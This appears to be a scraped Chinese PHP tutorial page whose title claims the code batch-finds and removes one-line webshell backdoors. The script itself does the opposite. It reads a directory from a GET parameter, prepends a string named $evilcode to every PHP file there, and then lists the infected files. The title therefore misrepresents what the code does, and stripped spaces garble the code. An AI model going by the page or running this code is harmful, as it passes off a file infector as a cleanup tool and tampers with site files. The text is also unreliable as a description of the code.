手机
当前位置:查字典教程网 >编程开发 >php教程 >用php实现批量查询清除一句话后门的代码
用php实现批量查询清除一句话后门的代码
摘要:总是忘记一句话放到哪个文件里去了,直接全部干掉...复制代码代码如下:被X的文件时间大小codzbyxuanmumu

总是忘记一句话放到哪个文件里去了,直接全部干掉...

复制代码 代码如下:

<?//xy7

if(!isset($dir)orempty($dir)){

$dir=str_replace('','/',dirname(__FILE__));

echo"<fontcolor="#00688B">".$dir."</font>";

}else{

$dir=$_GET['dir'];

echo"<fontcolor="#00688B">".$dir."</font>";

}

$evilcode="<?phpinfo();//xy7?>";

$testdir=opendir($dir);

while($filea=@readdir($testdir)){

if(strstr($filea,'.php')){

$fp=@fopen($filea,'r+');

if(!strstr(@fread($fp,20),'xy7')){

rewind($fp);

$old=@fread($fp,filesize($filea));

rewind($fp);

fwrite($fp,$evilcode.$old);

}

fclose($fp);

}

}

closedir($testdir);

?>

<hr>

<tablewidth="100%"border="0"cellpadding="3"cellspacing="1">

<tr>

<td><b>被X的文件</b></td>

<td><b>时间</b></td>

<td><b>大小</b></td>

</tr>

<?php

$dirs=@opendir($dir);

while($file=@readdir($dirs)){

if((is_file($file))and(ereg(".php{0,1}$",$file)))

{$b="$dir/$file";

$a=@is_dir($b);

if($a=="0"){

$size=@filesize("$dir/$file");

$lastsave=@date("Y-n-dH:i:s",filectime("$dir/$file"));

echo"<tr>n";

echo"<td>$file</td>n";

echo"<td>$lastsave</td>n";

echo"<td>$sizeBytes</td>n";

}

}

}

@closedir($dirs);

?>

</table>

codzbyxuanmumu

【用php实现批量查询清除一句话后门的代码】相关文章:

php实现求相对时间函数

php简单实现多字节字符串翻转的方法

用PHP实现文件上传

php实现读取和写入tab分割的文件

php eval函数一句话木马代码

php筛选不存在的图片资源

php循环table实现一行两列显示的方法

如何限制访问者的ip(PHPBB的代码)

域名查询代码公布

php快速查找数据库中恶意代码的方法

精品推荐
分类导航